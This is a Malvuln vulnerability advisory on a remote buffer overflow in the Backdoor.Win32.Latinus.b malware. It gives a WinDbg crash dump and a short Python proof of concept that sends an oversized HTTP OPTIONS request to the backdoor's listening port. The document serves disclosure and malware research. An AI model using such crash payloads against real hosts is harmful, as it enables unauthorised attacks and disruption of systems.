Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9adffcc98cd658a7f9c5419480013f72.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Latinus.b
Vulnerability: Remote Buffer Overflow 
Description: Malware listens on both TCP ports 11831 and 29559, by sending an HTTP OPTIONS request with about 8945 bytes we trigger buffer overflow and overwriting stack registers.
Type: PE32
MD5: 9adffcc98cd658a7f9c5419480013f72
Vuln ID: MVID-2021-0029
Dropped files: msHtml.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/15/2021

Memory Dump:
EAX : 41414141
EBX : 040C91C0
ECX : 41414141
EDX : 040C7020
EBP : 0046B614     mshtml.0046B614
ESP : 000A1494
ESI : 00000014
EDI : 0046B610     mshtml.0046B610
EIP : 00401C78     mshtml.00401C78

This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(1534.17c0): Access violation - code c0000005 (first/second chance not available)
eax=41414141 ebx=04138948 ecx=41414141 edx=41414141 esi=00000014 edi=0046b610
eip=00401c76 esp=000a1644 ebp=0046b614 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
*** WARNING: Unable to verify checksum for msHtml.exe
*** ERROR: Module load completed but symbols could not be loaded for msHtml.exe
msHtml+0x1c76:
00401c76 8902            mov     dword ptr [edx],eax  ds:002b:41414141=????????


0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
msHtml+1c76
00401c76 8902            mov     dword ptr [edx],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401c76 (msHtml+0x00001c76)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 41414141
Attempt to write to address 41414141

PROCESS_NAME:  msHtml.exe

OVERLAPPED_MODULE: Address regions for 'comctl32_72d50000' and 'dataexchange.dll' overlap

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
msHtml+1c76
00401c76 8902            mov     dword ptr [edx],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000017c0

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

IP_ON_HEAP:  04144b5c
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER:  from 04144b5c to 00401c76

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0046b614 04144b5c 027b87b0 027b9da4 027b9da4 msHtml+0x1c76
0046b618 027b87b0 027b9da4 027b9da4 00000000 0x4144b5c
0046b61c 027b9da4 027b9da4 00000000 00000000 0x27b87b0
0046b620 027b9da4 00000000 00000000 00000000 0x27b9da4
0046b624 00000000 00000000 00000000 0019ff74 0x27b9da4


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  msHtml+1c76

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: msHtml

IMAGE_NAME:  msHtml.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

FAILURE_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_msHtml.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_msHtml+1c76


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=29559

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    PAYLOAD="OPTIONS /"+"A"*8945+ " HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
    s.send(PAYLOAD)
    s.close()
    print("Backdoor.Win32.Latinus.b / Remote Buffer Overflow ")
    print("MD5: 9adffcc98cd658a7f9c5419480013f72")
    print("By Malvuln")

if __name__=="__main__":
    doit()


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